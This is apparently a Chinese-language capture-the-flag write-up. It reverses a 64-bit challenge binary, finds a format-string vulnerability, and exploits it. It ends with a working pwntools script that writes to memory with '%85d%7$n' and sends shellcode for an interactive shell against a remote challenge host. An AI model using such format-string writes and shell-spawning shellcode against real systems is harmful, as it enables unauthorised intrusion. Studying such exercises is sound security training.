题目描述

查看保护

主函数,开始时设置了一个定时器
sub_400996()函数,画了一个龙
动态分配8字节内存并把首地址返回给v3
把v3的值赋给v4
令v3[0] = 68
令v3[1] = 85
(低四位赋值68,高四位赋值85)
分别输出v3[0]和v3[1]的地址
以v3为参数执行sub_400D72

进入sub_400D72函数
看到输入的名字需要少于0xc=12个字节
接下来分别进入三个函数

进入sub_400A7D函数
根据下面的判断发现只能输入east,否则程序结束

返回并继续向下进入sub_400BB9函数
当输入1时,可以输入一个整数和一个字符串
这里存在一处格式化字符串漏洞
先接着看下一个函数

进入sub_400CA6((_DWORD *)a1)函数,这里的参数a1就是主函数的v4也就是v3[0]的地址
可以看到当v3[0] == v3[1]的时候才能执行后续指令
而由前面的赋值可知原本两数不相等
所以需要用到上个函数里的格式化字符串漏洞来覆盖其中的一个值满足条件
这里需要说明:

  • mmap函数,用来将某个文件内容映射到内存中,对该内存区域的存取即是直接对该文件内容的读写

    1
    void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offsize);

    几个参数分别表示
    *start 用于指定映射存储区的起始地址,通常设置为0,表示让操作系统选择该映射区的起始地址。
    size_t len 映射的字节数(以页为单位0x1000)
    int plot 对映射区的保护要求 1、PROT_READ可读 2、 PROT_WRITE可写 3、PROT_EXEC可执行 4、PROT_NONE不可访问
    int flag 影响映射存储区的各种属性
    int fd 指定要被映射文件的描述符
    off_t offsize off表示要映射的字节在文件中的起始偏移量
    简单来说这里就是分配了很大一片内存(0x1000),并且因为第三个参数为7说明这片内存是可读可写可执行的

  • ((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);
    这一句的意思大概是把v1强制转换成一个函数指针,然后调用这个以v1为指针的函数

由以上的分析便有基本的思路了:通过格式化字符串漏洞把v3[0]覆盖成85(覆盖另一个也行),然后在最后一个函数里输入shellcode即可拿到shell

关于格式化字符串的部分
输入整数v2时可以把v3[0]的地址输入(从main函数的输出中获取)
我们需要知道v2对应的是第几个参数
知道64位程序先通过6个寄存器传参,可以看到v2在栈中距离栈顶8字节(0x80-0x78),8/8=1,所以v2对应第7个参数(6+1)
所以可以用("%85d7$n", v3)修改v3[0]的值为85

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import*
context(os='linux',arch='amd64',log_level='debug')

r = remote("220.249.52.134", 43184)
#r = process('./b')
r.recvuntil("secret[0] is ")
v3_addr = r.recvline().replace("\n","")
print v3_addr
shellcode = asm(shellcraft.sh())

r.recvuntil("What should your character's name be:")
r.sendline('x')
r.recvuntil("So, where you will go?east or up?:")
r.sendline("east")
r.recvuntil("go into there(1), or leave(0)?:")
r.sendline("1")
r.recvuntil("'Give me an address'")
r.sendline(str(int(v3_addr,16)))
r.recvuntil("And, you wish is:")
r.sendline("%85d%7$n")
r.sendline(shellcode)
r.interactive()